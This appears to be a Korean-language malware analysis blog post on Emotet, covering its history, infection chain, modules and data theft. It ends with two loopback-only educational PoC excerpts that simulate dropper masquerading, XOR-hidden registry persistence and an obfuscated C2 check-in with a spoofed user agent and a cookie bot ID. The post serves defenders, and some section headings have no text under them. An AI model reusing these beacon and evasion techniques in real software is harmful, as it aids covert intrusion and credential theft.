๐Ÿ’ฅ Emotet โ€” '์„ธ๊ณ„์—์„œ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ์•…์„ฑ์ฝ”๋“œ'๊ฐ€ ๋žœ์„ฌ์›จ์–ด์˜ 1์ฐจ ์นจํˆฌ ํ”Œ๋žซํผ์ด ๋˜๊ธฐ๊นŒ์ง€ (2014โ€“2021)

2026-09-17 ยท Malware Deep-Dive

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” ์–ธ์ œ, ๋ˆ„๊ฐ€, ์™œ ์œ ๋ช…ํ•œ๊ฐ€

2014๋…„ ๋…์ผยท์˜ค์ŠคํŠธ๋ฆฌ์•„ยท์Šค์œ„์Šค์˜ ์€ํ–‰ ๊ณ ๊ฐ์„ ๋…ธ๋ฆฌ๋Š” ํ‰๋ฒ”ํ•œ ๋ฑ…ํ‚น ํŠธ๋กœ์ด๋กœ ์ฒ˜์Œ ๊ด€์ธก๋œ Emotet(์ดˆ๊ธฐ ๋ณ„์นญ GeodoยทHeodo)์€, 7๋…„ ๋’ค ์œ ๋Ÿฝ์—ฐํ•ฉ ๋ฒ•์ง‘ํ–‰๊ธฐ๊ด€์ด "์„ธ๊ณ„์—์„œ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ์•…์„ฑ์ฝ”๋“œ(the world's most dangerous malware)"๋ผ๊ณ  ๊ณต์‹ ๋ช…๋ช…ํ•œ ๋ด‡๋„ท์ด ๋˜์—ˆ๋‹ค. ์ด๋ฆ„์˜ ์œ ๋ž˜๋Š” ์€ํ–‰ ๊ณ„์ขŒ๋ฅผ ๋œปํ•˜๋Š” ์ŠคํŽ˜์ธ์–ดยทํฌ๋ฅดํˆฌ๊ฐˆ์–ด emotet ๊ณ„์—ด ํ‘œํ˜„์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ๊ณ , ์ฝ”๋“œ๋Š” Delphi๋กœ ์ž‘์„ฑ๋๋‹ค.

ํ•ต์‹ฌ์€ Emotet์ด ์Šค์Šค๋กœ ๋ˆ์„ ํ›”์น˜๋Š” ์•…์„ฑ์ฝ”๋“œ์—์„œ ๋‹ค๋ฅธ ๋ฒ”์ฃ„์ž์—๊ฒŒ ์ธํ”„๋ผ๋ฅผ ๋นŒ๋ ค์ฃผ๋Š” '1์ฐจ ์นจํˆฌ ํ”Œ๋žซํผ(MaaS)'์œผ๋กœ ์ง„ํ™”ํ–ˆ๋‹ค๋Š” ์ ์ด๋‹ค. Europol์€ ์ด๋ฅผ ๋‘๊ณ  "์ „ ์„ธ๊ณ„ ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ์˜ 1์ฐจ ๋ฌธ ์—ด์‡ (primary door opener)"๋ผ๊ณ  ํ‘œํ˜„ํ–ˆ๋‹ค. Emotet์ด ๋šซ์€ ๊ธฐ๊ธฐ์— ํ›„์†์œผ๋กœ ์„ค์น˜๋œ ๊ฒƒ์€ TrickBotยทQakBotยทIcedIDยทBumblebee ๊ฐ™์€ ๋กœ๋”์˜€๊ณ , ๊ทธ ๋‹ค์Œ ๋‹จ๊ณ„๊ฐ€ RyukยทConti ๊ณ„์—ด ๋žœ์„ฌ์›จ์–ด์˜€๋‹ค. ์ฆ‰ "Emotet ๊ฐ์—ผ = ๋žœ์„ฌ์›จ์–ด ์ „ ๋‹จ๊ณ„"๋ผ๋Š” ๋“ฑ์‹์ด ์„ฑ๋ฆฝํ–ˆ๋‹ค.

์šด์˜ ์ฃผ์ฒด๋Š” ์œ„ํ˜‘ ์ธํ…”๋ฆฌ์ „์Šค์—์„œ TA542(๋ณ„์นญ Mummy Spider, Gold Crestwood)๋กœ ์ถ”์ ๋œ๋‹ค. ์ด ๊ทธ๋ฃน์€ Epoch(์—ํฌํฌ)๋ผ ๋ถ€๋ฅด๋Š” ๋Œ€๊ทœ๋ชจ ๋ฒ„์ „ ๋‹จ์œ„๋กœ C2 ๋ชฉ๋กยท๋ชจ๋“ˆ ์„ธํŠธยท๋‚œ๋…ํ™” ๊ธฐ๋ฒ•์„ ํ†ต์งธ๋กœ ๊ฐˆ์•„์น˜์› ๊ณ , ์ด "ํ†ต์งธ๋กœ ๊ฐˆ์•„์น˜์šฐ๊ธฐ"๊ฐ€ 7๋…„๊ฐ„ ์ถ”์ ์„ ์–ด๋ ต๊ฒŒ ๋งŒ๋“  ํ•ต์‹ฌ์ด์—ˆ๋‹ค.

  • ์•…์„ฑ์ฝ”๋“œ๋ช…: Emotet (๋ณ„์นญ Heodo, Geodo, Mummy Spider ๊ด€๋ จ ์ƒ˜ํ”Œ๊ตฐ)
  • ๋“ฑ์žฅ/ํ™œ๋™: 2014๋…„ ์ตœ์ดˆ ๊ด€์ธก โ†’ 2018~2020๋…„ ์„ธ๊ณ„ ์ตœ๋Œ€ ์ด๋ฉ”์ผ ์ŠคํŒธ ๋ด‡๋„ท โ†’ 2021-01-27 ์ธํ”„๋ผ ์••์ˆ˜(Operation Ladybird) โ†’ 2021-11 ๋ถ€ํ™œ, 2022~2023 ์žฌํ™•์‚ฐ
  • ๊ท€์†: ์‚ฌ์ด๋ฒ„๋ฒ”์ฃ„ ๊ทธ๋ฃน TA542 / Mummy Spider / Gold Crestwood (๊ตญ๊ฐ€ ๋ฐฐํ›„๊ฐ€ ์•„๋‹Œ ๊ธˆ์ „ ๋™๊ธฐ ๋ฒ”์ฃ„ ์กฐ์ง)
  • ์œ ํ˜•: ๋ชจ๋“ˆ๋Ÿฌ ๋ด‡๋„ท + ๋‹ค์šด๋กœ๋” + ์ธํฌ์Šคํ‹ธ๋Ÿฌ + ์ŠคํŒธ ํ”Œ๋žซํผ(MaaS) โ€” ์ตœ์†Œ ๋กœ๋”๊ฐ€ C2์—์„œ DLL ๋ชจ๋“ˆ์„ ๋‚ด๋ ค๋ฐ›์•„ ๊ธฐ๋Šฅ์„ ํ™•์žฅ
  • ํ•ต์‹ฌ ๊ธฐ๋ฒ•: ๋งคํฌ๋กœ ๋ฌธ์„œ ํ”ผ์‹ฑ, ์ด๋ฉ”์ผ ์Šค๋ ˆ๋“œ ํ•˜์ด์žฌํ‚น, SMB/Wi-Fi ๋‚ด๋ถ€ ํ™•์‚ฐ, LSASSยท๋ธŒ๋ผ์šฐ์ € ์ž๊ฒฉ์ฆ๋ช… ํƒˆ์ทจ, HTTP POST ๊ธฐ๋ฐ˜ ์€๋‹‰ C2
  • ๊ทœ๋ชจ(๊ณต๊ฐœ ์ˆ˜์น˜): ์ธํ”„๋ผ ์„œ๋ฒ„ 700๋Œ€ ์ด์ƒ ์••์ˆ˜ ยท ์••์ˆ˜ ๋ฐ์ดํ„ฐ์— 60๋งŒ ๊ฐœ ๊ณ„์ •/๋ฉ”์ผ/๋น„๋ฐ€๋ฒˆํ˜ธ ยท ์ „ ์„ธ๊ณ„ ํ”ผํ•ด ์ถ”์‚ฐ ์•ฝ 25์–ต ๋‹ฌ๋Ÿฌ(์šฐํฌ๋ผ์ด๋‚˜ ๋‹น๊ตญ, THN ์ธ์šฉ)
  • ์™œ ์œ ๋ช…ํ•œ๊ฐ€: ๋‹จ์ผ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ๋žœ์„ฌ์›จ์–ด ์‚ฐ์—…์˜ ์œ ํ†ต๋ง ์—ญํ• ์„ ํ•œ ์ตœ์ดˆ์˜ ๋Œ€๊ทœ๋ชจ ์‚ฌ๋ก€ โ€” 8๊ฐœ๊ตญ ๊ณต์กฐ ์ž‘์ „์œผ๋กœ๋„ ์™„์ „ํžˆ ์ฃฝ์ง€ ์•Š์•˜๋‹ค

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” '์ทจ์•ฝ์ '์ด ์•„๋‹ˆ๋ผ '์‚ฌ๋žŒ'์„ ๋šซ๋Š”๋‹ค

Emotet์€ ์ œ๋กœ๋ฐ์ด๋ฅผ ์“ฐ์ง€ ์•Š์•˜๋‹ค. ๊ณต๊ฒฉ ํ‘œ๋ฉด์€ ์ด๋ฉ”์ผ ํ•œ ํ†ต๊ณผ ์‚ฌ์šฉ์ž์˜ ํด๋ฆญ ํ•œ ๋ฒˆ์ด์—ˆ๋‹ค. ์ „ํ˜•์ ์ธ ์ฒด์ธ์€ "ํ”ผ์‹ฑ ๋ฉ”์ผ โ†’ ๋งคํฌ๋กœ ๋ฌธ์„œ โ†’ 2์ฐจ ๋‹ค์šด๋กœ๋” โ†’ Emotet ๋กœ๋” โ†’ ๋ชจ๋“ˆ ์ˆ˜์‹  โ†’ ๋‚ด๋ถ€ ํ™•์‚ฐ"์ด๋‹ค.

์‹œ๊ธฐ์ฃผ๋œ ์ „๋‹ฌ ๋งค์ฒด์šฐํšŒ ๋Œ€์ƒ
2014~2017๋งคํฌ๋กœ ํฌํ•จ Word/Excel ์ฒจ๋ถ€์‚ฌ์šฉ์ž ๊ฒฝ๊ณ„์‹ฌ
2018~2022 ์ƒ๋ฐ˜๊ธฐ๋งคํฌ๋กœ ๋ฌธ์„œ + ์Šค๋ ˆ๋“œ ํ•˜์ด์žฌํ‚น, ๋งํฌํ˜•๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด ์ฒจ๋ถ€ ํ•„ํ„ฐ
2022 ํ•˜๋ฐ˜๊ธฐ~2023ZIP ์•ˆ์˜ LNK, ISO, XLL, OneNote / "Templates ํด๋”๋กœ ์˜ฎ๊ฒจ ์‹คํ–‰" ์œ ๋„๋งคํฌ๋กœ ๊ธฐ๋ณธ ์ฐจ๋‹จ ยท Mark-of-the-Web

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ ๋ถ„์„ โ€” ์ฝ”๋“œ/๊ตฌ์กฐ ๋ ˆ๋ฒจ

3.1 ๋ชจ๋“ˆ๋Ÿฌ ๊ตฌ์กฐ: "๋กœ๋”๋Š” ์ตœ์†Œ, ๊ธฐ๋Šฅ์€ ์ „๋ถ€ C2์—์„œ"

Emotet์˜ ๋ณธ์ฒด๋Š” ๊ทธ ์ž์ฒด๋กœ ์™„์„ฑ๋œ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ชจ๋“ˆ ๋กœ๋”๋‹ค. ์ตœ์ดˆ ์‹คํ–‰ ํŒŒ์ผ์€ ์‹œ์Šคํ…œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ด ์ฒดํฌ์ธํ•˜๊ณ , C2๊ฐ€ ๋‚ด๋ ค์ฃผ๋Š” DLL ๋ชจ๋“ˆ์„ ๋ฉ”๋ชจ๋ฆฌ์— ์˜ฌ๋ ค ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•œ๋‹ค. ๋•๋ถ„์— ๊ฐ™์€ ๊ฐ์—ผ ๊ธฐ๊ธฐ๊ฐ€ ์ŠคํŒธ ๋ฐœ์†ก๊ธฐ, ์ž๊ฒฉ์ฆ๋ช… ํƒˆ์ทจ๊ธฐ, ์ „ํŒŒ๊ธฐ๋กœ ๋™์‹œ์— ์“ฐ์ผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋ชจ๋“ˆ(๊ธฐ๋Šฅ)์—ญํ• ๊ด€๋ จ ATT&CK
systeminfoํ˜ธ์ŠคํŠธยท์‚ฌ์šฉ์žยทOSยทAVยท๋„๋ฉ”์ธ ์ •๋ณด ์ˆ˜์ง‘ ํ›„ ์ฒดํฌ์ธT1082, T1012
email stealer / spam๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ ์‚ฌ์„œํ•จยท์ฃผ์†Œ๋กยท๋Œ€ํ™” ํƒˆ์ทจ โ†’ ์ŠคํŒธ ๋ฐœ์†ก ์†Œ์žฌ ๋ฐ ์Šค๋ ˆ๋“œ ํ•˜์ด์žฌํ‚นT1114.001, T1087.003
credential grabberLSASS ๋ฉ”๋ชจ๋ฆฌ ๋คํ”„(Mimikatz ๊ณ„์—ด), ์ €์žฅ๋œ ๋ธŒ๋ผ์šฐ์ €ยท๋ฉ”์ผ ๋น„๋ฐ€๋ฒˆํ˜ธ ํƒˆ์ทจT1003.001, T1555.003
spreader๋กœ์ปฌ ๊ณ„์ • ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… โ†’ SMB Admin$ ๊ณต์œ ๋กœ ์œ ์‚ฌ ์ „ํŒŒ(์›œ์  ํ™•์‚ฐ)T1110.001, T1021.002
Wi-Fi spreader์ธ์ ‘ ๋ฌด์„  AP ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋šซ์–ด ์ƒˆ ๊ธฐ๊ธฐ ๊ฐ์—ผ(2020-02 ์ถ”๊ฐ€)T1110, T1040
DDoS / (2023) ์นด๋“œ ํƒˆ์ทจํŠธ๋ž˜ํ”ฝ ๊ณต๊ฒฉ ์œ„ํƒ, ํฌ๋กฌ์— ์ €์žฅ๋œ ์‹ ์šฉ์นด๋“œ ์ •๋ณด ํƒˆ์ทจT1498, T1555.003

3.2 ์‹คํ–‰ ์ฒด์ธ 8๋‹จ๊ณ„ (๊ณต๊ฐœ ๋ถ„์„์—์„œ ๊ด€์ฐฐ๋œ ํ๋ฆ„)

  1. ์Šคํ”ผ์–ดํ”ผ์‹ฑ ๋ฉ”์ผ โ†’ ๋งคํฌ๋กœ ํฌํ•จ .xlsm/.doc ์ฒจ๋ถ€ (T1566.001)
  2. ์‚ฌ์šฉ์ž๊ฐ€ "์ฝ˜ํ…์ธ  ์‚ฌ์šฉ" ํด๋ฆญ โ†’ AutoOpen ๋งคํฌ๋กœ ์‹คํ–‰ (๋‚œ๋…ํ™”๋œ ๋งคํฌ๋กœ, T1027)
  3. ๋งคํฌ๋กœ๊ฐ€ WMI(T1047)ยทPowerShell(T1059)๋กœ ์‹คํ–‰์„ ์œ„์ž„ โ†’ ๋‹ค์šด๋กœ๋” ์Šคํฌ๋ฆฝํŠธ ์ˆ˜ํ–‰
  4. ๋“œ๋กœํผ๋ฅผ %TEMP% ๋“ฑ์— ์ €์žฅ. ํŒŒ์ผ๋ช…์€ svchost.exeยทrundll32.exe์ฒ˜๋Ÿผ system32 ์— ์กด์žฌํ•˜๋Š” ์ •์ƒ ํŒŒ์ผ๋ช…์„ ๊ณจ๋ผ ์œ„์žฅํ•œ๋‹ค (T1036.005)
  5. ์ง€์†์„ฑ ์€๋‹‰: Binary Defense๊ฐ€ 2020๋…„ ๊ด€์ฐฐํ•œ ๊ธฐ๋ฒ• โ€” ์ €์žฅ ํŒŒ์ผ๋ช…์„ XOR ํ‚ค๋กœ ์•”ํ˜ธํ™”ํ•ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์— ๋„ฃ๊ณ , ๊ฐ’ ์ด๋ฆ„์€ ๋ณผ๋ฅจ ์‹œ๋ฆฌ์–ผ ๋ฒˆํ˜ธ๋กœ ์„ค์ •ํ•œ๋‹ค. ๋‹จ์ˆœ Run ํ‚ค ๊ฒ€์‚ฌ๋กœ๋Š” ๋“œ๋Ÿฌ๋‚˜์ง€ ์•Š๋Š”๋‹ค
  6. HKCU\Software\Microsoft\Windows\CurrentVersion\Run ๋“ฑ๋ก โ†’ ์žฌ๋ถ€ํŒ… ํ›„ ์ž๋™ ์‹คํ–‰ (T1547.001)
  7. C2 ์ฒดํฌ์ธ โ€” ์•„๋ž˜ 3.3์˜ HTTP POST ํ”„๋กœํ† ์ฝœ
  8. C2์—์„œ ๋ชจ๋“ˆ DLL ์ˆ˜์‹  โ†’ ์ž๊ฒฉ์ฆ๋ช… ํƒˆ์ทจยท์ŠคํŒธยทํ™•์‚ฐ ๊ธฐ๋Šฅ ํ™œ์„ฑํ™”

3.3 C2 ํ”„๋กœํ† ์ฝœ โ€” "์ •์ƒ ์›น ํŠธ๋ž˜ํ”ฝ์ฒ˜๋Ÿผ ๋ณด์ด๋Š”" ์„ค๊ณ„

3.4 ๋ฌด์—‡์„ ํ›”์น˜๋Š”๊ฐ€ โ€” 2์ฐจ ๊ณต๊ฒฉ์˜ ์—ฐ๋ฃŒ

Emotet์€ ์Šค์Šค๋กœ ๋žœ์„ฌ์›จ์–ด๊ฐ€ ๋˜์ง€ ์•Š๋Š”๋‹ค. ๋Œ€์‹  ๋‹ค์Œ ๋‹จ๊ณ„๊ฐ€ ์“ธ ๋ชจ๋“  ๊ฒƒ์„ ์ˆ˜์ง‘ํ•œ๋‹ค: LSASS ๋ฉ”๋ชจ๋ฆฌ์—์„œ์˜ ๊ณ„์ • ์ž๊ฒฉ์ฆ๋ช…๊ณผ Mimikatz ๊ณ„์—ด ๋ชจ๋“ˆ(T1003.001), ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธยท์‹ ์šฉ์นด๋“œ(T1555.003), ๋ฉ”์ผ ์ฃผ์†Œ๋ก๊ณผ ๋Œ€ํ™” ๋ณธ๋ฌธ(์ŠคํŒธ ์†Œ์žฌ + ์Šค๋ ˆ๋“œ ํ•˜์ด์žฌํ‚น ์žฌ๋ฃŒ), ๋„คํŠธ์›Œํฌ ๊ตฌ์„ฑ๊ณผ ์ ‘์† ์ž๊ฒฉ์ฆ๋ช…. ๊ทธ ๊ฒฐ๊ณผ ํ•œ ๋Œ€์˜ ๊ฐ์—ผ์ด ํ•œ ์กฐ์ง ์ „์ฒด์˜ ์ž๊ฒฉ์ฆ๋ช… ์œ ์ถœ๋กœ ์ด์–ด์กŒ๋‹ค.

3.5 ์€๋ฐ€์„ฑยทํšŒํ”ผ

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” ์ˆซ์ž์™€ ์‹ค์ œ ์‚ฌ๋ก€

5. PoC โ€” ๊ต์œก์šฉ ๋ชจ์˜ ์žฌํ˜„ (๋กœ์ปฌ ๊ฐ€์ƒ ํ™˜๊ฒฝ ์ „์šฉ)

โš ๏ธ ์•ˆ์ „ ๊ทœ์น™ ์ค€์ˆ˜: ์•„๋ž˜ ์ฝ”๋“œ๋Š” ์‹ค์ œ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋ฉฐ ์‹ค์ œ Emotet ์ฝ”๋“œยท์ƒ˜ํ”Œ์„ ๋ณต์‚ฌํ•˜์ง€ ์•Š์•˜๋‹ค. ์•…์„ฑ ํ–‰์œ„(๋‹ค์šด๋กœ๋“œ, ์‹คํ–‰, ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋ณ€๊ฒฝ, ๋ฉ”์ผ ๋ฐœ์†ก)๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๊ณ  ๊ตฌ์กฐ์™€ ํ”์ ๋งŒ ์žฌํ˜„ํ•œ๋‹ค. ๋ชจ๋“  ํ†ต์‹  ๋Œ€์ƒ์€ 127.0.0.1(loopback)์ด๋ฉฐ, ์‹ค์Šต์€ ์ธํ„ฐ๋„ท๊ณผ ๋ถ„๋ฆฌ๋œ ๊ฐ€์ƒ ๋กœ์ปฌ ๋žฉ VM (์˜ˆ: lab.local, ์Šค๋ƒ…์ƒท ๋ณต์› ๊ฐ€๋Šฅํ•œ ๊ฒฉ๋ฆฌ ํ™˜๊ฒฝ)์—์„œ๋งŒ ๊ฐ€์ •ํ•œ๋‹ค. ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ยท๋ณ€ํ˜•ยท๋ฐฐํฌ ๊ธˆ์ง€.

PoC 1 โ€” ๋ฌธ์„œ ๋งคํฌ๋กœ โ†’ ๋‹ค์šด๋กœ๋” โ†’ ์ง€์†์„ฑ ์ฒด์ธ (์‹คํ–‰ ๋กœ๊ทธ ์žฌํ˜„)

๊ฐ ๋‹จ๊ณ„๊ฐ€ ์–ด๋–ค ํ”์ ์„ ๋‚จ๊ธฐ๋Š”์ง€๊ฐ€ ํ•ต์‹ฌ์ด๋‹ค. ์‹ค์ œ ์‹คํ–‰ ์—†์ด ๋‹จ๊ณ„ยทํƒ์ง€ ์ง€์ ์„ ์ถœ๋ ฅํ•œ๋‹ค.

# emotet_poc_macro.py (๋ฐœ์ทŒ) โ€” ์‹ค์ œ ์‹คํ–‰/๋‹ค์šด๋กœ๋“œ/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋ณ€๊ฒฝ ์—†์Œ, ๋กœ๊ทธ๋งŒ ์žฌํ˜„
def log(step, detail, detection):
    STEPS.append({"๋‹จ๊ณ„": step, "๋™์ž‘(๋ชจ์˜)": detail, "๋ฐฉ์–ด์ž ํƒ์ง€ ์ง€์ ": detection})

log("โ‘  ์Šคํ”ผ์–ดํ”ผ์‹ฑ ๋ฉ”์ผ", "์—…๋ฌด ๋ฌธ์˜๋ฅผ ๊ฐ€์žฅํ•œ ํšŒ์‹  + ๋งคํฌ๋กœ ํฌํ•จ .xlsm ์ฒจ๋ถ€",
    "๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด: ๋งคํฌ๋กœ ๋ฌธ์„œ/์Šค์บ” ๋ถˆ๊ฐ€ ์••์ถ• ์ฒจ๋ถ€ ์ฐจ๋‹จ (CISA ๊ถŒ๊ณ )")
log("โ‘ก ๋ฌธ์„œ ์—ด๋žŒ + ๋งคํฌ๋กœ", "์‚ฌ์šฉ์ž๊ฐ€ '์ฝ˜ํ…์ธ  ์‚ฌ์šฉ' ํด๋ฆญ โ†’ AutoOpen ์‹คํ–‰",
    "GPO/Office ์ •์ฑ…: ์ธํ„ฐ๋„ท ๋ฌธ์„œ ๋งคํฌ๋กœ ๊ธฐ๋ณธ ์ฐจ๋‹จ, ์‹ ๋ขฐ ์œ„์น˜ ๊ฐ์‚ฌ")
log("โ‘ข 2์ฐจ ์‹คํ–‰ ์œ„์ž„", "WMI โ†’ powershell -w hidden ๋‹ค์šด๋กœ๋” (T1047/T1059)",
    "WMIยทPowerShell ์Šคํฌ๋ฆฝํŠธ ๋ธ”๋ก ๋กœ๊น…/AMSI, ๋ถ€๋ชจ-์ž์‹ ํ”„๋กœ์„ธ์Šค ๊ด€๊ณ„")
fname = random.choice(["svchost.exe", "conhost.exe", "dllhost.exe", "rundll32.exe"])
path  = "C:\\Users\\labuser\\AppData\\Local\\Temp\\" + fname      # ์ •์ƒ ํŒŒ์ผ๋ช… ์œ„์žฅ
log("โ‘ฃ ๋“œ๋กœํผ ๊ธฐ๋ก", path + " ๋กœ ์ €์žฅ (T1036.005)",
    "EDR: Temp ์—์„œ ์‹คํ–‰๋˜๋Š” '์‹œ์Šคํ…œ ํ”„๋กœ์„ธ์Šค๋ช…' = ๊ฐ•ํ•œ ์˜์‹ฌ")
enc = "".join("%02x" % (b ^ key) for b in path.encode())
log("โ‘ค ์ง€์†์„ฑ ์€๋‹‰", "ํŒŒ์ผ๋ช… XOR(key=0x%02X) โ†’ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’(ํ‚ค=๋ณผ๋ฅจ์‹œ๋ฆฌ์–ผ)์— ์ €์žฅ" % key,
    "๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋ชจ๋‹ˆํ„ฐ๋ง: ๋ณผ๋ฅจ ์‹œ๋ฆฌ์–ผ ์ด๋ฆ„ ๊ฐ’ + XOR ๋‚œ๋… ํ”์ ")
log("โ‘ฅ ์ž๋™ ์‹คํ–‰ ๋“ฑ๋ก", "HKCU\\...\\Run ๋“ฑ๋ก (T1547.001)", "Run ํ‚ค ์‹ ๊ทœ ๊ฐ’ ์•Œ๋ฆผ (Sysmon EID 13)")
log("โ‘ฆ C2 ์ฒดํฌ์ธ", "POST http://127.0.0.1:8080/<๋ฌด์ž‘์œ„ 8์ž>/ (๊ตฌํ˜• IE UA)",
    "๋ฌด์ž‘์œ„ ๊ฒฝ๋กœ POST + ๋น„ํ‘œ์ค€ ํฌํŠธ + MSIE 7.0 UA ์กฐํ•ฉ")
log("โ‘ง ๋ชจ๋“ˆ ์ˆ˜์‹ ", "C2์—์„œ DLL ๋ชจ๋“ˆ ๋‚ด๋ ค๋ฐ›์•„ ๊ธฐ๋Šฅ ํ™•์žฅ",
    "LSASS ์ ‘๊ทผ, ๋ธŒ๋ผ์šฐ์ € ์ž๊ฒฉ์ฆ๋ช… ์ €์žฅ์†Œ ์—ด๋žŒ, SMB Admin$ ์ ‘์†")

์‹คํ–‰ ๊ฒฐ๊ณผ(์‹ค์ œ ์ถœ๋ ฅ):

[01] โ‘  ์Šคํ”ผ์–ดํ”ผ์‹ฑ ๋ฉ”์ผ   | ์—…๋ฌด ๋ฌธ์˜๋ฅผ ๊ฐ€์žฅํ•œ ํšŒ์‹  + ๋งคํฌ๋กœ ํฌํ•จ .xlsm ์ฒจ๋ถ€
     โ”” ํƒ์ง€ ์ง€์ : ๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด: ๋งคํฌ๋กœ ํฌํ•จ ๋ฌธ์„œ/์Šค์บ” ๋ถˆ๊ฐ€ ์••์ถ• ์ฒจ๋ถ€ ์ฐจ๋‹จ
[02] โ‘ก ๋ฌธ์„œ ์—ด๋žŒ + ๋งคํฌ๋กœ | ์‚ฌ์šฉ์ž๊ฐ€ '์ฝ˜ํ…์ธ  ์‚ฌ์šฉ' ํด๋ฆญ โ†’ AutoOpen ์‹คํ–‰
[03] โ‘ข 2์ฐจ ์‹คํ–‰ ์œ„์ž„     | WMI โ†’ powershell -w hidden ๋กœ ๋‹ค์šด๋กœ๋” ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
[04] โ‘ฃ ๋“œ๋กœํผ ๊ธฐ๋ก       | ...\Temp\rundll32.exe ๋กœ ์ €์žฅ (T1036.005)
[05] โ‘ค ์ง€์†์„ฑ ์€๋‹‰       | XOR(key=0x8F) ์•”ํ˜ธํ™” โ†’ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’(ํ‚ค=๋ณผ๋ฅจ์‹œ๋ฆฌ์–ผ A1B2-C3D4)
[06] โ‘ฅ ์ž๋™ ์‹คํ–‰ ๋“ฑ๋ก    | HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[07] โ‘ฆ C2 ์ฒดํฌ์ธ        | POST http://127.0.0.1:8080/<๋ฌด์ž‘์œ„ 8์ž>/ (๊ตฌํ˜• IE UA ์œ„์žฅ)
[08] โ‘ง ๋ชจ๋“ˆ ์ˆ˜์‹ ยทํ™•์žฅ    | DLL ๋ชจ๋“ˆ(systeminfo/spreader/email stealer) ์ˆ˜์‹ 
[*] ๋‹จ๊ณ„ ๊ธฐ๋ก 8๊ฐœ โ†’ /tmp/emotet_poc_registry.json (๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์‹ค์ œ ๋ณ€๊ฒฝ 0๊ฑด)

PoC 2 โ€” C2 ์ฒดํฌ์ธ ํ”„๋กœํ† ์ฝœ (๋ฃจํ”„๋ฐฑ ์„œ๋ฒ„๋กœ ํ˜•์‹๋งŒ ์žฌํ˜„)

Emotet์ด ์“ฐ๋Š” (์••์ถ• โ†’ XOR โ†’ Base64) ๋ณธ๋ฌธ + ๋ฌด์ž‘์œ„ URI + ์œ„์žฅ UA + ์ฟ ํ‚ค ๋ด‡ ID + C2 ํด๋ฐฑ ๊ตฌ์กฐ๋ฅผ ๊ทธ๋Œ€๋กœ ํ‰๋‚ด ๋‚ธ๋‹ค. ์„œ๋ฒ„๋Š” ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ์•ˆ์˜ loopback ์„œ๋ฒ„์ด๋ฉฐ, ๋ฐ›์€ ๋ณธ๋ฌธ์„ ๋ณตํ˜ธํ™”ํ•ด ๊ฒ€์ฆํ•œ๋‹ค.

# emotet_poc_c2.py (๋ฐœ์ทŒ) โ€” ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์€ 127.0.0.1, ์™ธ๋ถ€ ํ†ต์‹  0๊ฑด
LAB_C2 = [("127.0.0.1", 8080), ("127.0.0.1", 8081)]   # ํ•˜๋“œ์ฝ”๋”ฉ C2 ๋ชฉ๋ก(ํด๋ฐฑ)
UA = ("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; "
      "Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729)")

def encode_body(plain, key=None):                 # ์••์ถ• โ†’ XOR โ†’ base64
    key = key or random.randint(1, 255)
    return base64.b64encode(bytes([key]) + bytes(b ^ key for b in zlib.compress(plain))).decode(), key

uri = "http://%s:%d/%s/" % (c2[0], c2[1], rand_dir())   # ๋ฌด์ž‘์œ„ ์•ŒํŒŒ๋ฒณ ๋””๋ ‰ํ„ฐ๋ฆฌ
req = urllib.request.Request(uri, data=body.encode(), method="POST")
req.add_header("User-Agent", UA)                  # ๊ตฌํ˜• IE ์œ„์žฅ
req.add_header("Cookie", "PHPSESSID=%s" % bot_id) # ๋ด‡ ์‹๋ณ„์ž = ์ฟ ํ‚ค

์‹คํ–‰ ๊ฒฐ๊ณผ(์‹ค์ œ ์ถœ๋ ฅ, ๋ฃจํ”„๋ฐฑ):

[*] ๋ด‡ ID: y059ezgui (base36 ์œ ์‚ฌ โ€” ์ฟ ํ‚ค๋กœ ์ „๋‹ฌ๋จ)
[*] C2 ํ›„๋ณด ๋ชฉ๋ก(ํ•˜๋“œ์ฝ”๋”ฉ): [('127.0.0.1', 8080), ('127.0.0.1', 8081)]
  [C2] POST /verlxnpdrbby/
  [C2] UA      : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Tr ...
  [C2] Cookie  : PHPSESSID=y059ezgui
  [C2] ๋ณธ๋ฌธ ๋ณตํ˜ธํ™” โ†’ {"host": "LAB-VM-01", "user": "labuser", "os": "Windows 10 x64 19045",
                     "av": "Windows Defender", "domain": "lab.local",
                     "modules": ["systeminfo", "spreader", "emailstealer"]}
